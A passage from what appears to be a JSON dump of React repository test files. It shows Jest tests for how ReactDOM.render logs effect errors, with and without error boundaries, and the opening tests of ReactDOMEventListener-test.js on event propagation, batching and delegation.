React 18',\n            ),\n          ],\n          [\n            // Formatting\n            expect.stringContaining('%o'),\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n            // Addendum by React:\n            expect.stringContaining(\n              'The above error occurred in the <Foo> component',\n            ),\n            expect.stringContaining('ErrorBoundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n      } else {\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Reported by React with no extra message:\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.error.mockReset();\n      console.warn.mockReset();\n      await act(() => {\n        ReactDOM.render(<NoError />, container);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError).not.toBeCalled();\n      expect(console.warn).not.toBeCalled();\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.error).not.toBeCalled();\n      }\n    });\n\n    // @gate !disableLegacyMode\n    it('logs layout effect errors without an error boundary', async () => {\n      function Foo() {\n        React.useLayoutEffect(() => {\n          throw Error('Boom');\n        }, []);\n        return null;\n      }\n\n      await expect(async () => {\n        await act(() => {\n          ReactDOM.render(<Foo />, container);\n        });\n      }).rejects.toThrow('Boom');\n\n      // Reported because errors without a boundary are reported to window.\n      expect(windowOnError.mock.calls).toEqual([\n        [\n          expect.objectContaining({\n            message: 'Boom',\n          }),\n        ],\n      ]);\n\n      if (__DEV__) {\n        expect(console.warn.mock.calls).toEqual([\n          [\n            // Formatting\n            expect.stringContaining('%s'),\n\n            // Addendum by React:\n            expect.stringContaining('An error occurred in the <Foo> component'),\n            expect.stringContaining('Consider adding an error boundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.warn).not.toBeCalled();\n        expect(console.error).not.toBeCalled();\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.warn.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        ReactDOM.render(<NoError />, container);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(console.warn).not.toBeCalled();\n      expect(windowOnError).not.toBeCalled();\n\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.error).not.toBeCalled();\n      }\n    });\n\n    // @gate !disableLegacyMode\n    it('logs layout effect errors with an error boundary', async () => {\n      function Foo() {\n        React.useLayoutEffect(() => {\n          throw Error('Boom');\n        }, []);\n        return null;\n      }\n\n      await act(() => {\n        ReactDOM.render(\n          <ErrorBoundary>\n            <Foo />\n          </ErrorBoundary>,\n          container,\n        );\n      });\n\n      // The top-level error was caught with try/catch,\n      // so we don't see an error event.\n      expect(windowOnError).not.toBeCalled();\n      expect(console.warn).not.toBeCalled();\n\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n          [\n            // Formatting\n            expect.stringContaining('%o'),\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n            // Addendum by React:\n            expect.stringContaining(\n              'The above error occurred in the <Foo> component',\n            ),\n            expect.stringContaining('ErrorBoundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n      } else {\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Reported by React with no extra message:\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.warn.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        ReactDOM.render(<NoError />, container);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError).not.toBeCalled();\n      expect(console.warn).not.toBeCalled();\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.error).not.toBeCalled();\n      }\n    });\n\n    // @gate !disableLegacyMode\n    it('logs passive effect errors without an error boundary', async () => {\n      function Foo() {\n        React.useEffect(() => {\n          throw Error('Boom');\n        }, []);\n        return null;\n      }\n\n      await act(async () => {\n        ReactDOM.render(<Foo />, container);\n        await waitForThrow('Boom');\n      });\n\n      // The top-level error was caught with try/catch,\n      // so we don't see an error event.\n      expect(windowOnError.mock.calls).toEqual([\n        [\n          expect.objectContaining({\n            message: 'Boom',\n          }),\n        ],\n      ]);\n\n      if (__DEV__) {\n        expect(console.warn.mock.calls).toEqual([\n          [\n            // Formatting\n            expect.stringContaining('%s'),\n\n            // Addendum by React:\n            expect.stringContaining('An error occurred in the <Foo> component'),\n            expect.stringContaining('Consider adding an error boundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.warn).not.toBeCalled();\n        expect(console.error).not.toBeCalled();\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.warn.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        ReactDOM.render(<NoError />, container);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError).not.toBeCalled();\n      expect(console.warn).not.toBeCalled();\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.error).not.toBeCalled();\n      }\n    });\n\n    // @gate !disableLegacyMode\n    it('logs passive effect errors with an error boundary', async () => {\n      function Foo() {\n        React.useEffect(() => {\n          throw Error('Boom');\n        }, []);\n        return null;\n      }\n\n      await act(() => {\n        ReactDOM.render(\n          <ErrorBoundary>\n            <Foo />\n          </ErrorBoundary>,\n          container,\n        );\n      });\n\n      // The top-level error was caught with try/catch,\n      // so we don't see an error event.\n      expect(windowOnError).not.toBeCalled();\n      expect(console.warn).not.toBeCalled();\n\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n          [\n            // Formatting\n            expect.stringContaining('%o'),\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n            // Addendum by React:\n            expect.stringContaining(\n              'The above error occurred in the <Foo> component',\n            ),\n            expect.stringContaining('ErrorBoundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n      } else {\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Reported by React with no extra message:\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.warn.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        ReactDOM.render(<NoError />, container);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError).not.toBeCalled();\n      expect(console.warn).not.toBeCalled();\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.warn).not.toBeCalled();\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMEventListener-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMEventListener', () => {\n  let React;\n  let ReactDOM;\n  let ReactDOMClient;\n  let ReactDOMServer;\n  let act;\n  let simulateEventDispatch;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n    simulateEventDispatch =\n      require('internal-test-utils').simulateEventDispatch;\n  });\n\n  describe('Propagation', () => {\n    it('should propagate events one level down', async () => {\n      const mouseOut = jest.fn();\n      const onMouseOut = event => mouseOut(event.currentTarget);\n\n      const childContainer = document.createElement('div');\n      const parentContainer = document.createElement('div');\n\n      const childRoot = ReactDOMClient.createRoot(childContainer);\n      const parentRoot = ReactDOMClient.createRoot(parentContainer);\n\n      await act(() => {\n        childRoot.render(<div onMouseOut={onMouseOut}>Child</div>);\n        parentRoot.render(<div onMouseOut={onMouseOut}>Parent</div>);\n      });\n      const parentNode = parentContainer.firstChild;\n      const childNode = childContainer.firstChild;\n\n      parentNode.appendChild(childContainer);\n      document.body.appendChild(parentContainer);\n\n      try {\n        const nativeEvent = document.createEvent('Event');\n        nativeEvent.initEvent('mouseout', true, true);\n        childNode.dispatchEvent(nativeEvent);\n\n        expect(mouseOut).toHaveBeenCalledTimes(2);\n        expect(mouseOut).toHaveBeenNthCalledWith(1, childNode);\n        expect(mouseOut).toHaveBeenNthCalledWith(2, parentNode);\n      } finally {\n        document.body.removeChild(parentContainer);\n      }\n    });\n\n    it('should propagate events two levels down', async () => {\n      const mouseOut = jest.fn();\n      const onMouseOut = event => mouseOut(event.currentTarget);\n\n      const childContainer = document.createElement('div');\n      const parentContainer = document.createElement('div');\n      const grandParentContainer = document.createElement('div');\n\n      const childRoot = ReactDOMClient.createRoot(childContainer);\n      const parentRoot = ReactDOMClient.createRoot(parentContainer);\n      const grandParentRoot = ReactDOMClient.createRoot(grandParentContainer);\n\n      await act(() => {\n        childRoot.render(<div onMouseOut={onMouseOut}>Child</div>);\n        parentRoot.render(<div onMouseOut={onMouseOut}>Parent</div>);\n        grandParentRoot.render(<div onMouseOut={onMouseOut}>Grandparent</div>);\n      });\n      const childNode = childContainer.firstChild;\n      const parentNode = parentContainer.firstChild;\n      const grandParentNode = grandParentContainer.firstChild;\n\n      parentNode.appendChild(childContainer);\n      grandParentNode.appendChild(parentContainer);\n\n      document.body.appendChild(grandParentContainer);\n\n      try {\n        const nativeEvent = document.createEvent('Event');\n        nativeEvent.initEvent('mouseout', true, true);\n        childNode.dispatchEvent(nativeEvent);\n\n        expect(mouseOut).toHaveBeenCalledTimes(3);\n        expect(mouseOut).toHaveBeenNthCalledWith(1, childNode);\n        expect(mouseOut).toHaveBeenNthCalledWith(2, parentNode);\n        expect(mouseOut).toHaveBeenNthCalledWith(3, grandParentNode);\n      } finally {\n        document.body.removeChild(grandParentContainer);\n      }\n    });\n\n    // Regression test for https://github.com/facebook/react/issues/1105\n    it('should not get confused by disappearing elements', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n\n      try {\n        class MyComponent extends React.Component {\n          state = {clicked: false};\n          handleClick = () => {\n            this.setState({clicked: true});\n          };\n          componentDidMount() {\n            expect(\n              ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.findDOMNode(\n                this,\n              ),\n            ).toBe(container.firstChild);\n          }\n          componentDidUpdate() {\n            expect(\n              ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.findDOMNode(\n                this,\n              ),\n            ).toBe(container.firstChild);\n          }\n          render() {\n            if (this.state.clicked) {\n              return <span>clicked!</span>;\n            } else {\n              return (\n                <button onClick={this.handleClick}>not yet clicked</button>\n              );\n            }\n          }\n        }\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(<MyComponent />);\n        });\n        await act(() => {\n          container.firstChild.dispatchEvent(\n            new MouseEvent('click', {\n              bubbles: true,\n            }),\n          );\n        });\n        expect(container.firstChild.textContent).toBe('clicked!');\n      } finally {\n        document.body.removeChild(container);\n      }\n    });\n\n    it('should batch between handlers from different roots (discrete)', async () => {\n      const mock = jest.fn();\n\n      const childContainer = document.createElement('div');\n      const parentContainer = document.createElement('main');\n\n      const childRoot = ReactDOMClient.createRoot(childContainer);\n      const parentRoot = ReactDOMClient.createRoot(parentContainer);\n      let childSetState;\n\n      function Parent() {\n        // eslint-disable-next-line no-unused-vars\n        const [state, _] = React.useState('Parent');\n        const handleClick = () => {\n          childSetState(2);\n          mock(childContainer.firstChild.textContent);\n        };\n        return <section onClick={handleClick}>{state}</section>;\n      }\n\n      function Child() {\n        const [state, setState] = React.useState('Child');\n        childSetState = setState;\n        const handleClick = () => {\n          setState(1);\n          mock(childContainer.firstChild.textContent);\n        };\n        return <span onClick={handleClick}>{state}</span>;\n      }\n\n      await act(() => {\n        childRoot.render(<Child />);\n        parentRoot.render(<Parent />);\n      });\n\n      const childNode = childContainer.firstChild;\n      const parentNode = parentContainer.firstChild;\n\n      parentNode.appendChild(childContainer);\n      document.body.appendChild(parentContainer);\n\n      try {\n        await act(async () => {\n          await simulateEventDispatch(childNode, 'click');\n        });\n\n        // Child and parent should both call from event handlers.\n        expect(mock).toHaveBeenCalledTimes(2);\n        // The first call schedules a render of '1' into the 'Child'.\n        // However, we're batching so it isn't flushed yet.\n        expect(mock.mock.calls[0][0]).toBe('Child');\n        // As we have two roots, it means we have two event listeners.\n        // This also means we enter the event batching phase twice,\n        // flushing the child to be 1.\n\n        // We don't have any good way of knowing if another event will\n        // occur because another event handler might invoke\n        // stopPropagation() along the way. After discussions internally\n        // with Sebastian, it seems that for now over-flushing should\n        // be fine, especially as the new event system is a breaking\n        // change anyway. We can maybe revisit this later as part of\n        // the work to refine this in the scheduler (maybe by leveraging\n        // isInputPending?).\n        //\n        // Since this is a discrete event, the previous update is already done.\n        expect(mock.mock.calls[1][0]).toBe('1');\n\n        // And by the time we leave the handler, the second update is flushed.\n        expect(childNode.textContent).toBe('2');\n      } finally {\n        document.body.removeChild(parentContainer);\n      }\n    });\n\n    it('should batch between handlers from different roots (continuous)', async () => {\n      const mock = jest.fn();\n\n      const childContainer = document.createElement('div');\n      const parentContainer = document.createElement('main');\n\n      const childRoot = ReactDOMClient.createRoot(childContainer);\n      const parentRoot = ReactDOMClient.createRoot(parentContainer);\n      let childSetState;\n\n      function Parent() {\n        // eslint-disable-next-line no-unused-vars\n        const [state, _] = React.useState('Parent');\n        const handleMouseOut = () => {\n          childSetState(2);\n          mock(childContainer.firstChild.textContent);\n        };\n        return <section onMouseOut={handleMouseOut}>{state}</section>;\n      }\n\n      function Child() {\n        const [state, setState] = React.useState('Child');\n        childSetState = setState;\n        const handleMouseOut = () => {\n          setState(1);\n          mock(childContainer.firstChild.textContent);\n        };\n        return <span onMouseOut={handleMouseOut}>{state}</span>;\n      }\n\n      await act(() => {\n        childRoot.render(<Child />);\n        parentRoot.render(<Parent />);\n      });\n\n      const childNode = childContainer.firstChild;\n      const parentNode = parentContainer.firstChild;\n\n      parentNode.appendChild(childContainer);\n      document.body.appendChild(parentContainer);\n\n      try {\n        await act(async () => {\n          await simulateEventDispatch(childNode, 'mouseout');\n        });\n\n        // Child and parent should both call from event handlers.\n        expect(mock).toHaveBeenCalledTimes(2);\n        // The first call schedules a render of '1' into the 'Child'.\n        // However, we're batching, so it isn't flushed yet.\n        expect(mock.mock.calls[0][0]).toBe('Child');\n        // As we have two roots, it means we have two event listeners.\n        // This also means we enter the event batching phase twice.\n        // But since this is a continuous event, we still haven't flushed.\n        expect(mock.mock.calls[1][0]).toBe('Child');\n\n        // The batched update is applied after the events.\n        expect(childNode.textContent).toBe('2');\n      } finally {\n        document.body.removeChild(parentContainer);\n      }\n    });\n  });\n\n  it('should not fire duplicate events for a React DOM tree', async () => {\n    const mouseOut = jest.fn();\n    const onMouseOut = event => mouseOut(event.target);\n\n    const innerRef = React.createRef();\n    class Wrapper extends React.Component {\n      render() {\n        return (\n          <div>\n            <div onMouseOut={onMouseOut} id=\"outer\">\n              <div ref={innerRef}>Inner</div>\n            </div>\n          </div>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Wrapper />);\n    });\n\n    document.body.appendChild(container);\n\n    try {\n      const nativeEvent = document.createEvent('Event');\n      nativeEvent.initEvent('mouseout', true, true);\n      await act(() => {\n        innerRef.current.dispatchEvent(nativeEvent);\n      });\n\n      expect(mouseOut).toBeCalledWith(innerRef.current);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  // Regression test for https://github.com/facebook/react/pull/12877\n  it('should not fire form events twice', async () => {\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n\n    const handleInvalid = jest.fn();\n    const handleReset = jest.fn();\n    const handleSubmit = jest.fn();\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <form ref={formRef} onReset={handleReset} onSubmit={handleSubmit}>\n          <input ref={inputRef} onInvalid={handleInvalid} />\n        </form>,\n      );\n    });\n\n    await act(() => {\n      inputRef.current.dispatchEvent(\n        new Event('invalid', {\n          // https://developer.mozilla.org/en-US/docs/Web/Events/invalid\n          bubbles: false,\n        }),\n      );\n    });\n    expect(handleInvalid).toHaveBeenCalledTimes(1);\n\n    await act(() => {\n      formRef.current.dispatchEvent(\n        new Event('reset', {\n          // https://developer.mozilla.org/en-US/docs/Web/Events/reset\n          bubbles: true,\n        }),\n      );\n    });\n    expect(handleReset).toHaveBeenCalledTimes(1);\n\n    await act(() => {\n      formRef.current.dispatchEvent(\n        new Event('submit', {\n          // https://developer.mozilla.org/en-US/docs/Web/Events/submit\n          bubbles: true,\n        }),\n      );\n    });\n    expect(handleSubmit).toHaveBeenCalledTimes(1);\n\n    await act(() => {\n      formRef.current.dispatchEvent(\n        new Event('submit', {\n          // Might happen on older browsers.\n          bubbles: true,\n        }),\n      );\n    });\n    expect(handleSubmit).toHaveBeenCalledTimes(2); // It already fired in this test.\n\n    document.body.removeChild(container);\n  });\n\n  // This tests an implementation detail that submit/reset events are listened to\n  // at the document level, which is necessary for event replaying to work.\n  // They bubble in all modern browsers.\n  it('should not receive submit events if native, interim DOM handler prevents it', async () => {\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    try {\n      const formRef = React.createRef();\n      const interimRef = React.createRef();\n\n      const handleSubmit = jest.fn();\n      const handleReset = jest.fn();\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div ref={interimRef}>\n            <form ref={formRef} onSubmit={handleSubmit} onReset={handleReset} />\n          </div>,\n        );\n      });\n\n      interimRef.current.onsubmit = nativeEvent =>\n        nativeEvent.stopPropagation();\n      interimRef.current.onreset = nativeEvent => nativeEvent.stopPropagation();\n\n      await act(() => {\n        formRef.current.dispatchEvent(\n          new Event('submit', {\n            // https://developer.mozilla.org/en-US/docs/Web/Events/submit\n            bubbles: true,\n          }),\n        );\n\n        formRef.current.dispatchEvent(\n          new Event('reset', {\n            // https://developer.mozilla.org/en-US/docs/Web/Events/reset\n            bubbles: true,\n          }),\n        );\n      });\n\n      expect(handleSubmit).not.toHaveBeenCalled();\n      expect(handleReset).not.toHaveBeenCalled();\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should dispatch loadstart only for media elements', async () => {\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    try {\n      const imgRef = React.createRef();\n      const videoRef = React.createRef();\n\n      const handleImgLoadStart = jest.fn();\n      const handleVideoLoadStart = jest.fn();\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <img ref={imgRef} onLoadStart={handleImgLoadStart} />\n            <video ref={videoRef} onLoadStart={handleVideoLoadStart} />\n          </div>,\n        );\n      });\n\n      await act(() => {\n        // Note for debugging: loadstart currently doesn't fire in Chrome.\n        // https://bugs.chromium.org/p/chromium/issues/detail?id=458851\n        imgRef.current.dispatchEvent(\n          new ProgressEvent('loadstart', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(handleImgLoadStart).toHaveBeenCalledTimes(0);\n\n      await act(() => {\n        videoRef.current.dispatchEvent(\n          new ProgressEvent('loadstart', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(handleVideoLoadStart).toHaveBeenCalledTimes(1);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should not attempt to listen to unnecessary events on the top level', async () => {\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    const videoRef = React.createRef();\n    // We'll test this event alone.\n    const handleVideoPlay = jest.fn();\n    const handleVideoPlayDelegated = jest.fn();\n    const mediaEvents = {\n      onAbort() {},\n      onCanPlay() {},\n      onCanPlayThrough() {},\n      onDurationChange() {},\n      onEmptied() {},\n      onEncrypted() {},\n      onEnded() {},\n      onError() {},\n      onLoadedData() {},\n      onLoadedMetadata() {},\n      onLoadStart() {},\n      onPause() {},\n      onPlay() {},\n      onPlaying() {},\n      onProgress() {},\n      onRateChange() {},\n      onResize() {},\n      onSeeked() {},\n      onSeeking() {},\n      onStalled() {},\n      onSuspend() {},\n      onTimeUpdate() {},\n      onVolumeChange() {},\n      onWaiting() {},\n    };\n\n    const originalDocAddEventListener = document.addEventListener;\n    const originalRootAddEventListener = container.addEventListener;\n    document.addEventListener = function (type) {\n      switch (type) {\n        case 'selectionchange':\n          break;\n        default:\n          throw new Error(\n            `Did not expect to add a document-level listener for the \"${type}\" event.`,\n          );\n      }\n    };\n    container.addEventListener = function (type, fn, options) {\n      if (options && (options === true || options.capture)) {\n        return;\n      }\n      switch (type) {\n        case 'abort':\n        case 'canplay':\n        case 'canplaythrough':\n        case 'durationchange':\n        case 'emptied':\n        case 'encrypted':\n        case 'ended':\n        case 'error':\n        case 'loadeddata':\n        case 'loadedmetadata':\n        case 'loadstart':\n        case 'pause':\n        case 'play':\n        case 'playing':\n        case 'progress':\n        case 'ratechange':\n        case 'resize':\n        case 'seeked':\n        case 'seeking':\n        case 'stalled':\n        case 'suspend':\n        case 'timeupdate':\n        case 'volumechange':\n        case 'waiting':\n          throw new Error(\n            `Did not expect to add a root-level listener for the \"${type}\" event.`,\n          );\n        default:\n          break;\n      }\n    };\n\n    try {\n      // We expect that mounting this tree will\n      // *not* attach handlers for any top-level events.\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div onPlay={handleVideoPlayDelegated}>\n            <video ref={videoRef} {...mediaEvents} onPlay={handleVideoPlay} />\n            <audio {...mediaEvents}>\n              <source {...mediaEvents} />\n            </audio>\n          </div>,\n        );\n      });\n      await act(() => {\n        // Also verify dispatching one of them works\n        videoRef.current.dispatchEvent(\n          new Event('play', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(handleVideoPlay).toHaveBeenCalledTimes(1);\n      // Unlike browsers, we delegate media events.\n      // (This doesn't make a lot of sense but it would be a breaking change not to.)\n      expect(handleVideoPlayDelegated).toHaveBeenCalledTimes(1);\n    } finally {\n      document.addEventListener = originalDocAddEventListener;\n      container.addEventListener = originalRootAddEventListener;\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should dispatch load for embed elements', async () => {\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    try {\n      const ref = React.createRef();\n      const handleLoad = jest.fn();\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <embed ref={ref} onLoad={handleLoad} />\n          </div>,\n        );\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new ProgressEvent('load', {\n            bubbles: false,\n          }),\n        );\n      });\n\n      expect(handleLoad).toHaveBeenCalledTimes(1);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  // Unlike browsers, we delegate media events.\n  // (This doesn't make a lot of sense but it would be a breaking change not to.)\n  it('should delegate media events even without a direct listener', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const handleVideoPlayDelegated = jest.fn();\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div onPlay={handleVideoPlayDelegated}>\n            {/* Intentionally no handler on the target: */}\n            <video ref={ref} />\n          </div>,\n        );\n      });\n\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('play', {\n            bubbles: false,\n          }),\n        );\n      });\n      // Regression test: ensure React tree delegation still works\n      // even if the actual DOM element did not have a handler.\n      expect(handleVideoPlayDelegated).toHaveBeenCalledTimes(1);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should delegate dialog events even without a direct listener', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const onCancel = jest.fn();\n    const onClose = jest.fn();\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div onCancel={onCancel} onClose={onClose}>\n            {/* Intentionally no handler on the target: */}\n            <dialog ref={ref} />\n          </div>,\n        );\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('close', {\n            bubbles: false,\n          }),\n        );\n        ref.current.dispatchEvent(\n          new Event('cancel', {\n            bubbles: false,\n          }),\n        );\n      });\n      // Regression test: ensure React tree delegation still works\n      // even if the actual DOM element did not have a handler.\n      expect(onCancel).toHaveBeenCalledTimes(1);\n      expect(onClose).toHaveBeenCalledTimes(1);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should bubble non-native bubbling toggle events', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const onToggle = jest.fn();\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div onToggle={onToggle}>\n            <details ref={ref} onToggle={onToggle} />\n          </div>,\n        );\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('toggle', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(onToggle).toHaveBeenCalledTimes(2);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should bubble non-native bubbling cancel/close events', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const onCancel = jest.fn();\n    const onClose = jest.fn();\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div onCancel={onCancel} onClose={onClose}>\n            <dialog ref={ref} onCancel={onCancel} onClose={onClose} />\n          </div>,\n        );\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('cancel', {\n            bubbles: false,\n          }),\n        );\n        ref.current.dispatchEvent(\n          new Event('close', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(onCancel).toHaveBeenCalledTimes(2);\n      expect(onClose).toHaveBeenCalledTimes(2);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should bubble non-native bubbling media events events', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const onPlay = jest.fn();\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div onPlay={onPlay}>\n            <video ref={ref} onPlay={onPlay} />\n          </div>,\n        );\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('play', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(onPlay).toHaveBeenCalledTimes(2);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should bubble non-native bubbling invalid events', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const onInvalid = jest.fn();\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <form onInvalid={onInvalid}>\n            <input ref={ref} onInvalid={onInvalid} />\n          </form>,\n        );\n      });\n\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('invalid', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(onInvalid).toHaveBeenCalledTimes(2);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should handle non-bubbling capture events correctly', async () => {\n    const container = document.createElement('div');\n    const innerRef = React.createRef();\n    const outerRef = React.createRef();\n    const onPlayCapture = jest.fn(e => log.push(e.currentTarget));\n    const log = [];\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div ref={outerRef} onPlayCapture={onPlayCapture}>\n            <div onPlayCapture={onPlayCapture}>\n              <div ref={innerRef} onPlayCapture={onPlayCapture} />\n            </div>\n          </div>,\n        );\n      });\n      await act(() => {\n        innerRef.current.dispatchEvent(\n          new Event('play', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(onPlayCapture).toHaveBeenCalledTimes(3);\n      expect(log).toEqual([\n        outerRef.current,\n        outerRef.current.firstChild,\n        innerRef.current,\n      ]);\n      await act(() => {\n        outerRef.current.dispatchEvent(\n          new Event('play', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(onPlayCapture).toHaveBeenCalledTimes(4);\n      expect(log).toEqual([\n        outerRef.current,\n        outerRef.current.firstChild,\n        innerRef.current,\n        outerRef.current,\n      ]);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  // We're moving towards aligning more closely with the browser.\n  // Currently we emulate bubbling for all non-bubbling events except scroll.\n  // We may expand this list in the future, removing emulated bubbling altogether.\n  it('should not emulate bubbling of scroll events', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const log = [];\n    const onScroll = jest.fn(e =>\n      log.push(['onScroll', 'bubble', 